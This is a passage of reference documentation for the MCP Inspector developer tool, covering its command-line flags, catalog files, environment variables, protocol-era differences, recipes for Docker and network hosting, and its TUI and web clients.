mcp-inspector --cli --catalog ~/.mcp-inspector/mcp.json --method servers/show --server my-server

```

주의

`servers/show` redacts secret-bearing fields (`env` values, sensitive headers, OAuth client secrets), but it does **not** scrub credentials embedded in a server `url` (userinfo or query tokens) or in `stdio` `args`. Treat raw URL and `detail` fields as sensitive before pasting them into an issue.

Proxies

Connections to remote HTTP/SSE servers honor the conventional proxy variables: `HTTPS_PROXY` / `HTTP_PROXY` (and their lowercase forms) select the proxy and `NO_PROXY` exempts hosts. No Inspector-specific flag is needed, and the proxy agent is loaded lazily, so runs without a proxy pay nothing. The same applies to the web client's backend.

Configuration and flags

mcp/docs/2026-07-28/tools/inspector/configuration.mdx

The `mcp-inspector` binary is a launcher: it reads two flags of its own and forwards every other argument to one of three clients (web, CLI, or TUI). Each client defines its own flags, so a flag that works in one can be unknown to another (`--method`, for example, is CLI-only). This page groups flags and environment variables by the client that owns them.

The launcher owns exactly two things

Flag	Behavior
<code>--web</code> / <code>--cli</code> / <code>--tui</code>	Selects the client, <code>--web</code> by default. Passing more than one fails with <code>Specify at most one of -web, --cli, or --tui</code> . Launcher flags must come first: parsing stops at the first argument the launcher does not own, and everything from that point on is forwarded to the client unchanged.
<code>-h</code> / <code>--help</code>	With no mode flag, prints the launcher's own help and exits. With a mode flag it is forwarded, so <code>mcp-inspector --cli --help</code> prints the CLI's help.

Everything below belongs to a client.

Choosing servers

`--catalog` VS. `--config`

All three clients resolve `--catalog` and `--config` through the same shared code, so each flag behaves the same in the web app, the CLI, and the TUI. Where the two differ from each other is the table below.

	<code>--catalog <path></code>	<code>--config <path></code>
Writable?	Yes, the Inspector's own server list.	No. Served as-is, never written, seeded, or migrated.
Missing file?	Created and seeded (see below).	Errors.
Default	<code>~/.mcp-inspector/mcp.json</code> , or the <code>MCP_CATALOG_PATH</code> environment variable.	None; you must pass it.
Editable in the web UI?	Yes.	No.
Use it for	Your own working set of servers.	A read-only session against someone else's config file.

The two are **mutually exclusive**, and neither combines with an ad-hoc target. Passing both is rejected identically by all three clients.

참고

What a freshly seeded catalog contains depends on the client. The web backend seeds two sample servers, so a first launch has something to connect to immediately:

```
{
  "mcpServers": {
    "filesystem-server-default": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
    },
    "everything-server-default": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-everything"]
    }
  }
}
```

The CLI and TUI seed an empty `{ "mcpServers": {} }` instead: they are non-interactive or list-driven, so sample entries would be noise rather than a starting point.

Either way, seeding happens only when the file does not exist yet, and a read-only `--config` is never seeded at all.

참고

`--config` is what you want when pointing the Inspector at a config file you didn't write: a coworker's, a client application's, or one checked into a repo. It guarantees the Inspector will not touch the file.

Ad-hoc targets

Instead of a file you can name one server directly, either as a positional command (stdio) or a URL:

```
mcp-inspector node build/index.js # stdio, positional
mcp-inspector --server-url https://api.example.com/mcp --transport http
```

Shared server-selection flags

Defined **separately by each of web, CLI, and TUI**, so they're available in all three, with the divergences noted:

Flag	Meaning	Divergence
<code>--catalog</code> <code><path></code>	Writable catalog file.	None
<code>--config</code> <code><path></code>	Read-only session file.	None
<code>--server</code> <code><name></code>	Pick one named server out of the file.	Web and CLI only. The TUI loads every server in the file and lets you choose interactively.
<code>--transport</code> <code><type></code>	<code>stdio</code> , <code>sse</code> , or <code>http</code> .	Ad-hoc targets only.
<code>--server-url</code> <code><url></code>	Server URL for SSE/HTTP.	Ad-hoc targets only.
<code>--cwd <path></code>	Working directory for a stdio server process.	None
<code>-e</code> <code><KEY=VALUE></code>	Environment variables for a stdio server. Repeatable.	None
<code>--header</code> <code>"Name: Value"</code>	HTTP headers for an HTTP/SSE server. Repeatable.	Requires an ad-hoc HTTP/SSE server on the web client.
<code>[target...]</code>	Positional command/URL for one ad-hoc server.	None

The `--` separator

The **web and CLI** clients split their arguments at a bare `--` and pass everything after it to the target command as its own arguments. This is how you pass a flag that the Inspector would otherwise eat:

```
mcp-inspector node build/index.js -- --config /etc/myserver.conf --verbose
```

Without the separator, `--config` would be read as the Inspector's own read-only-session flag.

Web-only flags

Flag	Meaning
<code>--dev</code>	Run the Vite dev server instead of the pre-built bundle. Useful when working on the Inspector itself.

CLI and TUI: OAuth client flags

These five are defined by the **CLI and TUI** only. The web client obtains the same settings through its Client Settings dialog.

Flag	Environment variable	Meaning
<code>--client-config <path></code>	<code>MCP_CLIENT_CONFIG_PATH</code>	Install-level client config. Default <code>~/.mcp-inspector/storage/client.json</code> .
<code>--client-id <id></code>	None	OAuth client ID for a static client. Overrides <code>client.json</code> .
<code>--client-secret <secret></code>	None	OAuth client secret for confidential clients. Overrides <code>client.json</code> .
<code>--client-metadata-url <url></code>	None	CIMD metadata URL. Overrides <code>client.json</code> .
<code>--callback-url <url></code>	<code>MCP_OAUTH_CALLBACK_URL</code>	The redirect URI sent to the authorization server. Default <code>http://127.0.0.1:6276/oauth/callback</code> . Must be a loopback host (<code>127.0.0.1</code> or <code>localhost</code>): the local callback listener receives the authorization code over plaintext <code>http</code> , so any other host is rejected and there is no flag to override this.

CLI-only flags

The whole scripting surface belongs to the CLI. See [CLI client](#) for usage.

Group	Flags
What to invoke	<code>--method</code> , <code>--tool-name</code> , <code>--tool-arg</code> , <code>--tool-args-json</code> , <code>--uri</code> , <code>--prompt-name</code> , <code>--prompt-args</code> , <code>--log-level</code> , <code>--metadata</code> , <code>--tool-metadata</code>
How to run it	<code>--connect-timeout</code> , <code>--format</code> , <code>--app-info</code>
Auth	<code>--use-stored-auth</code> , <code>--stored-auth-only</code> , <code>--relogin</code> , <code>--wait-for-auth</code> , <code>--list-stored-auth</code> , <code>--print-handoff</code>

Environment variables

Environment variables split the same way as flags: two are read by the launcher itself, and the rest belong to the CLI and TUI or to the web backend.

Read by the launcher

Variable	Effect
MCP_DEBUG	Append the error stack to a top-level failure. Only when set to a meaningful value: <code>0</code> , <code>false</code> , and empty read as off.
DEBUG	Same, with the same meaningful-value rule, so a stray <code>DEBUG=0</code> doesn't turn stack traces on and <code>DEBUG</code> still works as the npm <code>debug</code> package's namespace filter.

CLI and TUI

Variable	Effect
MCP_CATALOG_PATH	Fallback for <code>--catalog</code> . Honored only when no ad-hoc target is given, so a shell that exports it can still run one-off ad-hoc invocations.
MCP_CLIENT_CONFIG_PATH	Fallback for <code>--client-config</code> .
MCP_OAUTH_CALLBACK_URL	Fallback for <code>--callback-url</code> .
MCP_STORAGE_DIR	Directory for the OAuth state file (<code><dir>/oauth.json</code>).
MCP_INSPECTOR_OAUTH_STATE_PATH	Per-file override of the OAuth state path. Takes precedence over <code>MCP_STORAGE_DIR</code> .
MCP_AUTO_OPEN_ENABLED	Controls browser auto-open and whether interactive OAuth may run without a TTY. <code>true</code> forces auto-open and allows OAuth prompts without a TTY, <code>false</code> never opens, and unset opens only on a TTY.

Web backend environment variables

Variable	Effect
MCP_INSPECTOR_API_TOKEN	Pin the session token instead of generating a random one per launch.
DANGEROUSLY_OMIT_AUTH	Disable the <code>/api/*</code> token check entirely.
HOST	Bind host. Defaults to <code>localhost</code> .
CLIENT_PORT	Web UI port. Defaults to <code>6274</code> .
DANGEROUSLY_BIND_ALL_INTERFACES	Required opt-in to bind a wildcard host (<code>0.0.0.0</code> , <code>::</code> , or any equivalent spelling).
ALLOWED_ORIGINS	Comma-separated origin allow-list. Replaces the default list rather than merging.
MCP_SANDBOX_PORT	Pin the MCP Apps sandbox port, which is dynamic by default.

Variable	Effect
HTTPS_PROXY / HTTP_PROXY / NO_PROXY	Standard proxy routing for outbound MCP connections.

주의

Never combine `DANGEROUSLY_OMIT_AUTH` and `DANGEROUSLY_BIND_ALL_INTERFACES` . The web backend spawns processes and holds OAuth tokens, so anyone who can reach it can drive it.

Catalog file format

A catalog or config file is the familiar MCP client config shape (a `mcpServers` object) with per-server Inspector settings alongside:

```
{
  "mcpServers": {
    "my-stdio-server": {
      "command": "node",
      "args": ["build/index.js"],
      "env": { "API_KEY": "..." }
    },
    "my-modern-server": {
      "type": "http",
      "url": "https://api.example.com/mcp",
      "protocolEra": "modern",
      "modernLogLevel": "info",
      "headers": { "X-Tenant": "acme" },
      "roots": [{ "uri": "file:///Users/me/project", "name": "project" }]
    }
  }
}
```

Fields that equal their default are omitted when the Inspector writes the file back, keeping diffs minimal. `protocolEra` (see [Protocol eras](#)) defaults to `legacy` and `modernLogLevel` to `debug` .

You do not have to hand-write these; the web client can [import an existing client config](#) from Claude Desktop, Cursor, Cline, or VS Code, or a registry `server.json` .

Protocol eras

mcp/docs/2026-07-28/tools/inspector/protocol-eras.mdx

The 2026-07-28 revision of MCP made substantial changes to the protocol. The Inspector therefore treats **protocol era** (legacy or modern, meaning before or as of that revision) as a first-class, per-server setting, orthogonal to the transport: the same HTTP URL can be inspected as a legacy server or as a modern one. Several tabs render meaningfully different UI and traffic depending on which era is in effect.

The Protocol Era setting

Each server carries a `protocolEra` of `legacy`, `auto`, or `modern`. In the web client it lives in **Server Settings**; in a catalog or config file it is the `protocolEra` field; in the CLI and TUI it comes from that same file.

Era	What the Inspector does at connect
legacy	The default. Plain <code>initialize</code> , no probing at all.
auto	Probe <code>server/discover</code> first, and fall back to <code>initialize</code> on any non-modern outcome.
modern	Pin exactly <code>2026-07-28</code> . No fallback, so a non-modern server fails loudly.

참고

Why legacy is the default, and not auto. A debugging tool must not auto-probe. A `server/discover` probe stalls against silent legacy stdio servers, and it pollutes the recorded transcript you came here to read. Opting into `auto` or `modern` is a deliberate act, so what you see in the Protocol tab is what your server would have seen from a client behaving the way you configured.

Era selection works the same way in all three clients.

Once connected, the negotiated era is reported in the connection header and in **Connection Info**. On a modern connection, `server/discover` also supplies `capabilities` (including `extensions`), `instructions`, and the list of `supportedVersions`. The server's name and version arrive in the result `_meta` under `io.modelcontextprotocol/serverInfo`.



Reproducing each era locally

Every section below ends with a **Reproduce with ...** pointer to a JSON config for one of the **composable test servers** shipped in the Inspector repository. Clone the repo, build the test servers,

then point the Inspector at the config the section names.

```
git clone https://github.com/modelcontextprotocol/inspector
cd inspector && npm install && npm run build
cd clients/web && npm run test-servers:build
```

Logging

Legacy

Logging is **session-scoped**. The client sends `logging/setLevel` once, and the server emits `notifications/message` at or above that level for the rest of the session.

The **Logs** tab shows a **Set Active Level** selector plus a **Set** button. Choose a level, click Set, and subsequent server logs stream into the panel.

Reproduce with `test-servers/configs/logging-legacy-http.json`.

Modern

`logging/setLevel` is **gone**. Instead the client opts in **per request**, by stamping `_meta["io.modelcontextprotocol/logLevel"]` on each outgoing request. A server MUST NOT emit `notifications/message` for a request that did not opt in.

The **Logs** tab therefore shows a **Log Level per Request** control instead. Pick a level and every subsequent request carries the stamp, visible in the Network tab's request body. Logs emitted while handling a request ride that request's SSE response stream.

Set the control to **Off** and the `logLevel` key is omitted entirely, so the same tool call produces no logs at all. That silence is correct behavior, not a bug.

The per-server default is `debug` (opted in at the most verbose level, since the Inspector is a debugging tool); set `modernLogLevel: "off"` on a server to opt back out by default.

Reproduce with `test-servers/configs/logging-modern-http.json`.



Resource subscriptions

Legacy

Clicking **Subscribe** on a resource sends `resources/subscribe`. The Subscriptions section lists the URI with no stream chrome. When the resource changes, the server emits

`notifications/resources/updated` and the subscribed tile's last-updated time is stamped.

Reproduce with `test-servers/configs/subscriptions-legacy-http.json`, which also serves an `update_resource` tool so you can drive the notification round-trip yourself.

Modern

The same **Subscribe** button instead sends `subscriptions/listen`, with a filter carrying `resourceSubscriptions` plus the `resourcesListChanged` opt-in. The subscription is confirmed when the server sends `notifications/subscriptions/acknowledged`.

Because the subscription is now a long-lived stream rather than a session flag, the Subscriptions section grows a **stream-status badge** in its header that moves from `Connecting...` to `Listening`. If the stream drops, the Inspector reconnects by re-sending `subscriptions/listen`.

Reproduce with `test-servers/configs/subscriptions-modern-http.json`.



Tasks

Tasks change the most between protocol eras, including *how the Inspector UI tab is gated*.

Legacy

The **Tasks** tab appears when the server advertises `capabilities.tasks`. Run a tool with **Run as task** enabled and the tab lists it, populated by `tasks/list` and polled with `tasks/get`. The completed payload is fetched with a **blocking** `tasks/result`, and **Cancel** sends `tasks/cancel`.

Reproduce with `test-servers/configs/tasks-legacy-http.json`.

Modern

Tasks are an **extension** (`io.modelcontextprotocol/tasks`, [SEP-2663](#)), so the tab is gated on the *negotiated extension* rather than on `capabilities.tasks`.

Run a tool as a task and `tools/call` returns a `CreateTaskResult` (`resultType: "task"`, visible in the Protocol and Network tabs). The Inspector polls `tasks/get` only; there is no `tasks/list`, so **Refresh** re-polls the handles the client already knows about. A completed task **inlines its result**, with no blocking `tasks/result` call.

A task that needs more information moves to `input_required` and surfaces an embedded [elicitation](#) in the pending-request modal (the dialog the web client opens whenever a request is waiting on you). Answering it sends `tasks/update` carrying the `inputResponses`, and the next poll completes.

Reproduce with `test-servers/configs/tasks-modern-http.json` (tools `modern_task` and `modern_input_task`).



Multi-round tool results (MRTR)

On the modern era a tool can return `input_required` instead of a final result, embedding an [elicitation](#), a [sampling](#) request, or a [roots/list](#) request. The client answers that embedded request and retries the `tools/call` under a fresh JSON-RPC id until the call reaches `complete`.

The Inspector drives MRTR **manually**, so each round pauses at the **pending-request modal**, tagged `input_required`, for you to answer. The Protocol view groups the whole exchange as one MRTR conversation rather than as unrelated calls.

`test-servers/configs/mrtr-showcase-http.json` bundles every shape in one modern server:

Tool	What it exercises
<code>mrtr_confirm</code>	A single elicitation round.
<code>mrtr_two_step</code>	Two elicitation rounds, threaded through <code>requestState</code> .
<code>mrtr_sample</code>	An embedded sampling request, routed to the Sampling panel.
<code>mrtr_roots</code>	An embedded <code>roots/list</code> , answered silently from configured roots (no modal).
<code>mrtr_edge</code>	An <code>inputRequests</code> -only round, then a <code>requestState</code> -only round.
<code>mrtr_loop</code>	Never completes, so the client stops at its <code>MRTR_MAX_ROUNDS</code> limit.

참고

The legacy `collect_elicitation` pattern (a server calling `server.elicitInput`) **errors** on a 2026-07-28 connection, because server-to-client requests aren't allowed there. MRTR is its modern replacement.



Tools: mirrored headers and excluded tools

[SEP-2243](#) lets a tool annotate an argument with `x-mcp-header`, asking a Streamable HTTP client to mirror that argument's value into an `Mcp-Param-*` request header.

The Inspector surfaces both halves of that contract in the **Tools** tab:

- A tool with a **valid** annotation shows a **"Mirrored request headers (SEP-2243)"** section in its detail panel, for example `city -> Mcp-Param-City`.

- A tool with an **invalid** annotation (say, a header name of "Bad Header", where the space makes it an invalid RFC 9110 token) appears struck through in the sidebar under an **"Excluded (SEP-2243)"** divider, with the reason on hover. A conforming client MUST drop such a tool from `tools/list`; the Inspector shows you *why* it was dropped instead of silently hiding it.

Reproduce with `test-servers/configs/xmcpheader-modern-http.json`.

주의

Mcp-Param-* mirroring is skipped by the SDK in the browser. Calling a mirrored tool from the *web* client omits the header, so a strict server answers `-32020` (`HeaderMismatch`, see the [error taxonomy](#) below). The same tool called from the **CLI** or **TUI**, which both run on Node, mirrors correctly. The header is dropped by an environment check inside the SDK, outside the Inspector's control.

Mcp-Param-City header, while `invalid_header_tool` is struck through under the Excluded (SEP-2243) divider."> 

-32602 error panels

Under the modern era a `tools/call` that rejects with `-32602` renders as a distinct **error panel**:

- **Unknown Tool**: when the message names a tool the server does not list. Reproduce by calling any name absent from the server's `tools/list`.
- **Invalid Parameters**: any other `-32602`. Reproduce with the `trigger_invalid_params` tool in the config above.

Both eras reject with `-32602`; only the Inspector's presentation changes. On a legacy connection you get one generic JSON-RPC failure and have to read the message to tell which case you hit.

Network and Protocol: headers and the error taxonomy

The modern era standardizes a set of `Mcp-*` HTTP headers and introduces a richer JSON-RPC error taxonomy ([SEP-2243](#) / [SEP-2575](#)). The two monitoring tabs divide the work:

- The **Network** tab is the HTTP view: mirrored `Mcp-*` headers are highlighted and sentinel values decoded.
- The **Protocol** tab is the JSON-RPC view: each spec error renders distinctly rather than as a generic failure.

`test-servers/configs/modern-network-http.json` serves four tools that produce a real HTTP status plus a JSON-RPC error body, one per class:

Tool	HTTP	JSON-RPC code	Meaning
trigger_header_mismatch	400	-32020	A required mirrored header was missing or wrong.
trigger_missing_capability	400	-32021	The request omitted a client capability the server requires.
trigger_unsupported_version	400	-32022	Unsupported version; supported versions in <code>data.supported</code> .
trigger_method_not_found	404	-32601	Method not found.



Sessions

A legacy Streamable HTTP connection may carry a server-assigned session id (`Mcp-Session-Id`), which the client tears down with an HTTP `DELETE`. A modern connection is **sessionless and per-request**: with no session id the client SDK sends no `DELETE` to the server, so disconnect is purely local.

This has a practical consequence for your own test servers. A stateless modern handler constructed per request cannot hold state between calls, which is why `test-servers/configs/subscriptions-modern-http.json`, unlike its legacy counterpart, omits an `update_resource` tool: the mutation would run against a throwaway server instance and be invisible to the next read.

Recipes

mcp/docs/2026-07-28/tools/inspector/recipes.mdx

Connecting stdio vs. HTTP servers

stdio

A stdio server is a process the Inspector spawns. Everything positional is the command line:

```
mcp-inspector node build/index.js -- --verbose --config /etc/myserver.conf
```

Put `--` before any arguments meant for your server. Without the separator, `--verbose` would be parsed by the Inspector and never reach the server.

Give the process environment variables with `-e` and a working directory with `--cwd`:

```
mcp-inspector -e API_KEY=abc123 -e REGION=us-east-1 --cwd ~/projects/my-server \  
node build/index.js
```

The server's `stderr` lands in the **Console** tab (web) or the Console tab (⌘, TUI), which is where most stdio servers put their diagnostics, so check there first when a connection fails for no visible reason.

HTTP and SSE

```
mcp-inspector --server-url https://api.example.com/mcp --transport http \  
--header "X-Tenant: acme"
```

`--transport` accepts `http` (Streamable HTTP) and `sse`. If the server is protected, see [Authorization](#): no setup is needed in advance, because when the server answers `401` the Inspector runs the OAuth flow described there and retries the connection.

For an HTTP server, also decide its [protocol era](#). The default is `legacy`; set `modern` or `auto` in Server Settings (or `protocolEra` in the catalog file) to exercise the 2026-07-28 behavior.

Importing an existing client config

On the Servers screen, **Add Servers** can import MCP servers you have already configured elsewhere instead of retyping them. It parses Claude Desktop, Cursor, Cline, and VS Code client configs directly, and it also reads a server's own [MCP Registry](#) `server.json`.

Import merges into the active [catalog](#) (the Inspector's writable server list), so existing entries aren't clobbered. If you'd rather not touch your catalog at all, launch against the foreign file read-only instead:

```
mcp-inspector --config ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

`--config` guarantees the file is served as-is and never written, seeded, or migrated.



Reviewing an MCP App

[MCP Apps](#) are tools that carry a UI widget. For an automated reviewer (CI or an agent), use the CLI for every check that returns JSON, and open a browser only to inspect the rendered widget.

Probe the security posture without calling the tool

```
mcp-inspector --cli --transport http --server-url https://example.com/mcp \
  --method tools/call --tool-name <tool> --app-info
```

One JSON line on stdout; exit `0` if the tool has an app, `2` if not, so an `&&` chain short-circuits:

```
{
  "hasApp": true,
  "toolName": "get_pros",
  "resourceUri": "ui://pros/view.html",
  "csp": { "connectDomains": ["https://api.example.com"] },
  "permissions": { "clipboard": false },
  "prefersBorder": true,
  "resourceMimeType": "text/html"
}
```

`csp` and `permissions` (and `domain`, when the resource declares one) live on the UI **resource** rather than the tool, so `--app-info` reads that resource. The tool is never called.

Get the full result payload, still with no browser

```
mcp-inspector --cli --transport http --server-url https://example.com/mcp \
  --method tools/call --tool-name <tool> --tool-args-json '{"zip":"10001"}' --format json
```

Launch the web Inspector once, loopback-only

```
TOKEN="$(openssl rand -hex 24)"
HOST=127.0.0.1 CLIENT_PORT=6274 MCP_SANDBOX_PORT=6275 \
MCP_AUTO_OPEN_ENABLED=false MCP_INSPECTOR_API_TOKEN="$TOKEN" \
mcp-inspector --web &
```

Pinning `MCP_SANDBOX_PORT` matters here: the app's UI is served from a separate sandbox port that is dynamic by default, and your automation needs a fixed address to reach it.

Navigate one deep link to a rendered widget

```
http://127.0.0.1:6274/?serverUrl=<encoded url>&transport=http&autoConnect=<TOKEN>&openApp=<tool>&appArgs=<base64url(JSON)>&autoOpen=<TOKEN>
```

`appArgs` is the tool's arguments as base64url-encoded JSON, and every deep-link parameter is described under [Deep links](#). `autoConnect` and `autoOpen` must both equal the session token, since `autoOpen` fires a tool call straight from the URL and needs the same gate as `autoConnect`.

Wait on a deterministic signal instead of sleeping

The Apps screen exposes a stable automation contract. Poll these attributes instead of sleeping:

Selector	Attribute	Values
[data-testid="apps-form"]	data-app-status	ready (on failure, <code>data-app-error</code> carries the reason)
[data-testid="connection-status"]	data-status	connecting, then connected or error (<code>data-error-message</code> has the detail)
[data-testid="connection-status"]	data-deeplink	parsed, rejected, or none (none means no deep link was given, rejected means one was refused)

Docker

A container image is published to GitHub Container Registry for `linux/amd64` and `linux/arm64`:

```
docker run --rm -p 6274:6274 ghcr.io/modelcontextprotocol/inspector
```

Read the [session token](#) from the container logs, or pin it with `-e MCP_INSPECTOR_API_TOKEN=<value>`.

The image defaults to `--web`, bound to `0.0.0.0:6274` with browser auto-open off, and runs as a non-root user. It sets `DANGEROUSLY_BIND_ALL_INTERFACES=true` because a container must bind the wildcard address to be reachable through `-p`.

Its `HEALTHCHECK` probes the web UI, so add `--no-healthcheck` when running `--cli` or `--tui` (neither has a web server). `<target>` below is an [ad-hoc target](#): a positional stdio command, or `--server-url <url> --transport http`.

```
docker run --rm --no-healthcheck ghcr.io/modelcontextprotocol/inspector --cli <target> --method tools/list
```

주의

If you remap the published port, set `ALLOWED_ORIGINS`. With `-p 8080:6274` the browser's origin becomes `http://localhost:8080`, which no longer matches the in-container port, and connects will 403. Either run `-e CLIENT_PORT=8080 -p 8080:8080`, or set `-e ALLOWED_ORIGINS=http://localhost:8080,http://127.0.0.1:8080`.

Hosting on a network

The Inspector binds `localhost` by default and its backend spawns processes, so treat exposing it to a network as a deliberate decision.

The Inspector refuses to bind the **wildcard** all-interfaces addresses (`0.0.0.0`, `::`, and every equivalent spelling) unless you set `DANGEROUSLY_BIND_ALL_INTERFACES=true`. Binding a **specific** address is allowed with no opt-in, because that's one deliberate exposure rather than every interface at once, which is the shape DNS-rebinding attacks target.

Goal	What to do
Reach it from another machine on the LAN	<code>HOST=192.168.1.50</code> . The default origin allow-list follows the bind host, so <code>http://192.168.1.50:6274</code> is accepted with no further config.
Behind TLS or a reverse proxy	The browser's <code>Origin</code> becomes the public origin, which won't match the bind host. Set <code>ALLOWED_ORIGINS=https://inspector.example.com</code> .
Wildcard bind (containers)	Set <code>DANGEROUSLY_BIND_ALL_INTERFACES=true</code> . Loopback access still works out of the box; reaching it at a non-loopback address needs <code>ALLOWED_ORIGINS</code> .

주의

`ALLOWED_ORIGINS` **replaces** the default list rather than merging with it. List every origin you'll browse from, including the loopback forms you want to keep:

```
ALLOWED_ORIGINS=http://localhost:6274,http://127.0.0.1:6274,http://192.168.1.50:6274
```

Each entry must include the scheme; a scheme-less value is dropped with a warning. A blank value does **not** disable the check; it falls back to the default. There is no knob to turn origin validation off.

Two further caveats when going off loopback:

- **MCP Apps need their sandbox port reachable too.** It's a separate, dynamic-by-default port; pin it with `MCP_SANDBOX_PORT` and expose or forward it. The Docker image publishes only `6274`.
- **MCP Apps can't render over TLS or at a bare IPv6 literal.** The sandbox URL is always plain `http`, so an `https://` page blocks the iframe as mixed content; and a bracketed IPv6 literal

isn't a valid CSP host-source, so browse at a name or an IPv4 address.

Whatever the shape: keep authentication on. Do not set `DANGEROUSLY_OMIT_AUTH` on anything reachable by anyone but you.

Development workflow

A loop that works well in practice:

Start with the CLI

`--method initialize` confirms the server starts, handshakes, and reports the capabilities you expect, in one second, with a machine-readable answer. Most "it doesn't work" turns out to be here.

Move to the web client for exploration

Schema-driven forms, rendered results, and the Protocol tab beside them make it fast to find the case where a tool misbehaves.

Test the edges

Invalid inputs, missing required prompt arguments, concurrent calls, and, for HTTP servers, both protocol eras. Verify the *errors* are as intentional as the successes.

Lock it in with the CLI

Turn what you found into a CI assertion: pipe the CLI's `--format json` output to `jq -e` with `--stored-auth-only`, so a missing token fails fast instead of starting interactive OAuth. See [Verify a server in CI](#) for the full command.

TUI client

mcp/docs/2026-07-28/tools/inspector/tui.mdx

The TUI is the Inspector's terminal interface, with the same interactive exploration of tools, resources, and prompts as the web client. Use it on a remote host over SSH, in a locked-down environment, or when you prefer to stay in the terminal.

```
npx @modelcontextprotocol/inspector --tui node build/index.js # with an ad-hoc stdio server
```



Choosing servers

Unlike the CLI, the TUI has no `--server <name>` flag for picking one entry: it reads its servers from a catalog or config file, loads every server in it, and lets you pick from an on-screen list:

```
mcp-inspector --tui --catalog mcp.json # writable catalog, seeded empty if missing (unlike the web client)
mcp-inspector --tui --config mcp.json # read-only session, errors if absent
```

With neither `--catalog` nor `--config`, and no [ad-hoc target](#), it uses the default writable catalog `~/.mcp-inspector/mcp.json`. See [Configuration and flags](#).

Tabs

Tab	Key	What it shows
Info	i	Server info, capabilities, and negotiated protocol details.
Auth	a	OAuth state for the selected server, plus a Clear OAuth state action.
Resources	r	Browse and read resources.
Prompts	m	List prompts and render them with arguments.
Tools	t	View tools and execute them with form-like inputs.
Protocol	p	JSON-RPC request/response/notification history.
Network	n	HTTP traffic for SSE and Streamable HTTP servers.
Console	o	<code>stderr</code> from a connected stdio server process.

The accelerators avoid collisions rather than always taking the first letter: **Protocol** takes `p` so **Prompts** takes `m`, and **Console** takes `o` because `c` is the global Connect action.

Navigation

Key	Action
Left / Right arrows or Tab	Switch tabs
Up / Down arrows	Move through the current list
Enter	Select an item, execute a tool, or fetch a resource
c	Connect to the selected server
d	Disconnect
Esc or Ctrl+C	Exit

Authorizing an HTTP server

1. Select an HTTP or SSE server and press `c` to connect.
2. If the server requires authorization, the TUI starts OAuth automatically and opens the authorization URL in a browser.
3. When the browser redirect lands on the TUI's loopback listener, the connection finishes on its own, with no second `c`.
4. Use the **Auth** tab to inspect the resulting OAuth state, or to clear it.

The TUI's callback listener defaults to `http://127.0.0.1:6276/oauth/callback`. The port is fixed on purpose: a pre-registered (static) OAuth client, a [Client ID Metadata Document \(CIMD\)](#), or an enterprise-managed IdP all need a redirect URI known in advance. Register that URI once and it works across sessions. On a remote host where your browser is on another machine, forward the callback port so the redirect reaches this listener; see [Callback URLs](#).

The trade-off is that only one TUI OAuth flow can hold the port at a time; a second concurrent flow fails with `EADDRINUSE`. To override it, pass `--callback-url` or set `MCP_OAUTH_CALLBACK_URL`: use a different fixed port per instance, or `http://127.0.0.1:0/oauth/callback` for an OS-assigned ephemeral port when your authorization server registers redirect URIs dynamically.

주의

Redirect URIs must match **exactly** what you registered. `localhost` and `127.0.0.1` are different URIs as far as an authorization server is concerned.

Per-server OAuth fields in the catalog (static client id/secret, scopes, the enterprise-managed flag) are applied automatically. Install-wide settings (CIMD, enterprise IdP) come from `~/mcp-inspector/storage/client.json`, the same file the web client's **Client Settings** dialog writes. Point at a different one with `--client-config` or `MCP_CLIENT_CONFIG_PATH`.

See [Authorization](#) for the full picture.



Requirements

The TUI needs a real TTY with raw-mode support. It will not run usefully in a headless CI job; use the [CLI](#) there.

Web client

mcp/docs/2026-07-28/tools/inspector/web.mdx

The web client is the Inspector's richest surface: a single-page app backed by a small Node server that owns the actual MCP connections. It is the default mode, so `npx`

`@modelcontextprotocol/inspector` with no mode flag lands here.

```
npx @modelcontextprotocol/inspector # empty, add servers in the UI
npx @modelcontextprotocol/inspector node build/index.js # with an ad-hoc stdio server
npx @modelcontextprotocol/inspector --catalog ./mcp.json # with a catalog file
```

The session token

The Node server behind the web client guards every `/api/*` route with a per-launch token, because it can spawn processes on your machine. The launcher prints a URL containing that token: **open that URL**, and don't type `localhost:6274` from memory.

The browser recovers the token from three places, in priority order:

1. `window.__INSPECTOR_API_TOKEN__`, injected into `index.html` on every page load. This is what makes a bare-URL reload or a bookmark keep working.
2. A `?MCP_INSPECTOR_API_TOKEN=...` query string, the form used in that printed URL.
3. `sessionStorage`, as a backstop.

Set the `MCP_INSPECTOR_API_TOKEN` environment variable to pin a known token (useful for scripted launches), or set `DANGEROUSLY_OMIT_AUTH=true` to disable the check entirely, but only on a machine where nothing else can reach the port. Both are described under [Web backend environment variables](#).

Dev mode

`--dev` is a **web-only** flag. It runs the Vite dev server instead of serving the pre-built bundle, which matters if you're working on the Inspector itself:

```
mcp-inspector --web --dev
```

Production `--web` serves a built bundle. In the published package that bundle always ships; in a fresh source checkout it doesn't, so the runner builds it on demand the first time you launch.

The tab bar

Tab	Shown when	What it does
Servers	Always	The server list: add, edit, import, connect, and open per-server settings.
Apps	The server exposes MCP App tools	Renders a tool's UI in a sandboxed frame.
Tools	tools capability	Browse schemas, fill arguments, call, inspect results.
Prompts	prompts capability	List prompts, supply arguments, preview generated messages.
Resources	resources capability	Browse, read, and subscribe to resources.
Tasks	capabilities.tasks (legacy era) or the tasks extension (modern era)	Track long-running tool calls.
Logs	logging capability	Server notifications/message output, plus the era-appropriate level control.
Protocol	Always	The JSON-RPC transcript: requests, responses, notifications.
Network	HTTP / SSE servers	The raw HTTP view: status, headers, bodies.
Console	stdio servers	The server process's stderr.

Network and **Console** never appear together. Legacy and modern eras are described in [Protocol eras](#).



The monitoring sidebar

Tasks, **Logs**, **Protocol**, **Network**, and **Console** form a *monitor group*. Pin the group and they leave the tab bar and move into a resizable right-hand column, so you can watch traffic while working in Tools or Resources. The column width and the selected monitor tab persist across reloads.



Servers

The Servers screen is the entry point. A server row carries its transport, its connection state, and a control that opens its per-server settings.

Where that list comes from, and whether it's editable, depends on how you launched:

Launch	Server list	Editable?
<code>mcp-inspector --web</code>	The default catalog <code>~/.mcp-inspector/mcp.json</code> , seeded on first launch	Yes
<code>--catalog <path></code>	That file, seeded with the sample servers if missing	Yes
<code>--config <path></code>	That file, read-only (never written or seeded)	No
<code>--server-url <url></code> or a positional command	One ad-hoc server, held in memory	No

